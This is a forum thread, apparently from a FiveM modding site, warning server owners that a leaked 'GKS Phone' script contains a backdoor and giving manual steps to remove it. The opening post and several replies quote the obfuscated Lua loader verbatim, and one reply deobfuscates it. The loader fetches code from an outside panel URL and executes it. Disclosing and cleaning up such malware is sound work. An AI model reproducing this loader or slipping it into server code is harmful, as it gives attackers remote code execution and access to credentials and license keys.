Script !WARNING! GKS PHONE (SCRIPT) read this if you are using GKSPhone

[xXNozZXx]

Hello friends of vag.gg today i wanna tell you something about GKS Phone , you maybe see a lot of leaks about this
if you download it you have been Remote Execution/Administration Tool known as RAT.

this resource is based of PerformHttpRequest execution code from web. That allows GKS owner to execute a malware that you will not understand at all.

What this Malware/RAT doing ?
Simple can restore your es_extended version 5 years ago , also it generate obfuscated shit code like this :

local llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[4][llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x69\x70\x68\x65\x72\x2d\x70\x61\x6e\x65\x6c\x2e\x6d\x65\x2f\x5f\x69\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x54\x48\x4a\x58\x67\x37", function (mMXHvjYgMEtGKcHqzKgfgEIRqKBgXRKwKfMaUTsiIbVjqVAIeJlcSKEMRZerHZUwyHKDxv, aQDbadBFDtfjAPUkSJUlFAbsbNHyHbXjtqNrxoZgrtjGGWWcUawztmIKmsSbaHhHQTkICL) if (aQDbadBFDtfjAPUkSJUlFAbsbNHyHbXjtqNrxoZgrtjGGWWcUawztmIKmsSbaHhHQTkICL == llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[6] or aQDbadBFDtfjAPUkSJUlFAbsbNHyHbXjtqNrxoZgrtjGGWWcUawztmIKmsSbaHhHQTkICL == llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[5]) then return end llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[4][llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[2]](llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[4][llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[3]](aQDbadBFDtfjAPUkSJUlFAbsbNHyHbXjtqNrxoZgrtjGGWWcUawztmIKmsSbaHhHQTkICL))() end)

in every .lua file in your server also After this shit code is run, it will upload some javascript and override existing files within the system builders directory.

resources\[system]\[builders] <---- if you dont have this directory i wiill told you what you can do to remove the malware

The code will start propagating itself within all of your resources and files within the FiveM server installation to make it difficult to remove.

At this stage, its armageddon and all files within the server are compromised meaning files can be downloaded, uploaded, edited and viewed, including but not limited to just the server.cfg, sql credentials or even steal your cfx license keys. They’re also able to run remote code on the server which leads to the last step. The MalScanner batch file in this repository aims to show you exactly where the infected code is.

HOW TO REMOVE IT ?

1. Import all the resources files in to your visual studio like this :

(Select your resources folder only!)

First Step DONE

2. Stop Your Server Clear your Cache and Search about this : = {"\
How to check all resources?
simple do as i will show you in picture

remove every kind of local llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY =

3. DELETE The following resources because this shit overwrite the js files of this resources :
1) xsound
2) webpack
3) yarn

4. Redownload the resources from here :
FOR YARN AND WEBPACK :

Hidden link for visitors, to see Log in or register now.

FOR XSOUND :

Hidden link for visitors, to see Log in or register now.

5 Be sure you dont have any kind of local llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY = {"\ (the its random for every victim this is just an example)
in your resources because it will spread again and again and again

6. Start Your server !

I hope this Topic will help you i will not put any reacts to saw this because i wanna help you because GKS owner/coder is retarded i do not recommend you to buy any script from him!

 

[lulu]

good

 

[MahmoudiTech]

Hello friends of vag.gg today i wanna tell you something about GKS Phone , you maybe see a lot of leaks about this
if you download it you have been Remote Execution/Administration Tool known as RAT.

this resource is based of PerformHttpRequest execution code from web. That allows GKS owner to execute a malware that you will not understand at all.

What this Malware/RAT doing ?
Simple can restore your es_extended version 5 years ago , also it generate obfuscated shit code like this :

local llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[4][llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x69\x70\x68\x65\x72\x2d\x70\x61\x6e\x65\x6c\x2e\x6d\x65\x2f\x5f\x69\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x54\x48\x4a\x58\x67\x37", function (mMXHvjYgMEtGKcHqzKgfgEIRqKBgXRKwKfMaUTsiIbVjqVAIeJlcSKEMRZerHZUwyHKDxv, aQDbadBFDtfjAPUkSJUlFAbsbNHyHbXjtqNrxoZgrtjGGWWcUawztmIKmsSbaHhHQTkICL) if (aQDbadBFDtfjAPUkSJUlFAbsbNHyHbXjtqNrxoZgrtjGGWWcUawztmIKmsSbaHhHQTkICL == llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[6] or aQDbadBFDtfjAPUkSJUlFAbsbNHyHbXjtqNrxoZgrtjGGWWcUawztmIKmsSbaHhHQTkICL == llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[5]) then return end llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[4][llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[2]](llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[4][llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[3]](aQDbadBFDtfjAPUkSJUlFAbsbNHyHbXjtqNrxoZgrtjGGWWcUawztmIKmsSbaHhHQTkICL))() end)

in every .lua file in your server also After this shit code is run, it will upload some javascript and override existing files within the system builders directory.

resources\[system]\[builders] <---- if you dont have this directory i wiill told you what you can do to remove the malware

The code will start propagating itself within all of your resources and files within the FiveM server installation to make it difficult to remove.

At this stage, its armageddon and all files within the server are compromised meaning files can be downloaded, uploaded, edited and viewed, including but not limited to just the server.cfg, sql credentials or even steal your cfx license keys. They’re also able to run remote code on the server which leads to the last step. The MalScanner batch file in this repository aims to show you exactly where the infected code is.

HOW TO REMOVE IT ?

1. Import all the resources files in to your visual studio like this :
View attachment 12123
(Select your resources folder only!)
View attachment 12124
First Step DONE

2. Stop Your Server Clear your Cache and Search about this : = {"\
How to check all resources?
simple do as i will show you in picture
View attachment 12127View attachment 12128
remove every kind of local llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY =

3. DELETE The following resources because this shit overwrite the js files of this resources :
1) xsound
2) webpack
3) yarn

4. Redownload the resources from here :
FOR YARN AND WEBPACK :

Hidden link for visitors, to see Log in or register now.

FOR XSOUND :

Hidden link for visitors, to see Log in or register now.

5 Be sure you dont have any kind of local llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY = {"\ (the its random for every victim this is just an example)
in your resources because it will spread again and again and again

6. Start Your server !

I hope this Topic will help you i will not put any reacts to saw this because i wanna help you because GKS owner/coder is retarded i do not recommend you to buy any script from him!

<3

 

[xXNozZXx]

<3

i hope this will help you all <3

 

[xXNozZXx]

good

i hope this help you <3

 

[wolfie1337]

it contacts here:

Hidden link for visitors, to see Log in or register now.

 

[DEVS123]

local llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[4][llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x69\x70\x68\x65\x72\x2d\x70\x61\x6e\x65\x6c\x2e\x6d\x65\x2f\x5f\x69\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x54\x48\x4a\x58\x67\x37", function (mMXHvjYgMEtGKcHqzKgfgEIRqKBgXRKwKfMaUTsiIbVjqVAIeJlcSKEMRZerHZUwyHKDxv, aQDbadBFDtfjAPUkSJUlFAbsbNHyHbXjtqNrxoZgrtjGGWWcUawztmIKmsSbaHhHQTkICL) if (aQDbadBFDtfjAPUkSJUlFAbsbNHyHbXjtqNrxoZgrtjGGWWcUawztmIKmsSbaHhHQTkICL == llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[6] or aQDbadBFDtfjAPUkSJUlFAbsbNHyHbXjtqNrxoZgrtjGGWWcUawztmIKmsSbaHhHQTkICL == llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[5]) then return end llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[4][llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[2]](llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[4][llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[3]](aQDbadBFDtfjAPUkSJUlFAbsbNHyHbXjtqNrxoZgrtjGGWWcUawztmIKmsSbaHhHQTkICL))() end)

to

local requestComponents = {
    "PerformHttpRequest",
    "assert",
    "load",
    _G,
    "",
    nil
}

_G[requestComponents[1]](
    "https://cipher-panel.me/_i/v2_/stage3.php?to=THJXg7",
    function (requestHandle, responseData)
        if responseData == requestComponents[6] or responseData == requestComponents[5] then
            return
        end

        local loadFunc = _G[requestComponents[3]](responseData)
        _G[requestComponents[2]](loadFunc)()
    end
)

 

[mbeckann]

I'm not sure how to remove it, could someone help me?

 

[Schizo]

Hello friends of vag.gg today i wanna tell you something about GKS Phone , you maybe see a lot of leaks about this
if you download it you have been Remote Execution/Administration Tool known as RAT.

this resource is based of PerformHttpRequest execution code from web. That allows GKS owner to execute a malware that you will not understand at all.

What this Malware/RAT doing ?
Simple can restore your es_extended version 5 years ago , also it generate obfuscated shit code like this :

local llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[4][llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x69\x70\x68\x65\x72\x2d\x70\x61\x6e\x65\x6c\x2e\x6d\x65\x2f\x5f\x69\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x54\x48\x4a\x58\x67\x37", function (mMXHvjYgMEtGKcHqzKgfgEIRqKBgXRKwKfMaUTsiIbVjqVAIeJlcSKEMRZerHZUwyHKDxv, aQDbadBFDtfjAPUkSJUlFAbsbNHyHbXjtqNrxoZgrtjGGWWcUawztmIKmsSbaHhHQTkICL) if (aQDbadBFDtfjAPUkSJUlFAbsbNHyHbXjtqNrxoZgrtjGGWWcUawztmIKmsSbaHhHQTkICL == llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[6] or aQDbadBFDtfjAPUkSJUlFAbsbNHyHbXjtqNrxoZgrtjGGWWcUawztmIKmsSbaHhHQTkICL == llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[5]) then return end llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[4][llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[2]](llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[4][llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY[3]](aQDbadBFDtfjAPUkSJUlFAbsbNHyHbXjtqNrxoZgrtjGGWWcUawztmIKmsSbaHhHQTkICL))() end)

in every .lua file in your server also After this shit code is run, it will upload some javascript and override existing files within the system builders directory.

resources\[system]\[builders] <---- if you dont have this directory i wiill told you what you can do to remove the malware

The code will start propagating itself within all of your resources and files within the FiveM server installation to make it difficult to remove.

At this stage, its armageddon and all files within the server are compromised meaning files can be downloaded, uploaded, edited and viewed, including but not limited to just the server.cfg, sql credentials or even steal your cfx license keys. They’re also able to run remote code on the server which leads to the last step. The MalScanner batch file in this repository aims to show you exactly where the infected code is.

HOW TO REMOVE IT ?

1. Import all the resources files in to your visual studio like this :
View attachment 12123
(Select your resources folder only!)
View attachment 12124
First Step DONE

2. Stop Your Server Clear your Cache and Search about this : = {"\
How to check all resources?
simple do as i will show you in picture
View attachment 12127View attachment 12128
remove every kind of local llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY =

3. DELETE The following resources because this shit overwrite the js files of this resources :
1) xsound
2) webpack
3) yarn

4. Redownload the resources from here :
FOR YARN AND WEBPACK :

Hidden link for visitors, to see Log in or register now.

FOR XSOUND :

Hidden link for visitors, to see Log in or register now.

5 Be sure you dont have any kind of local llENlQLdvCuYuSHyRigzqdmDowZTFkiYZcFjumrxNEGcwdKjdvRtUnwRKMnSteYlQndlVY = {"\ (the its random for every victim this is just an example)
in your resources because it will spread again and again and again

6. Start Your server !

I hope this Topic will help you i will not put any reacts to saw this because i wanna help you because GKS owner/coder is retarded i do not recommend you to buy any script from him!

Great work

 

[MaxHero]

Good job Not for just ESX Qbcore also same ...!!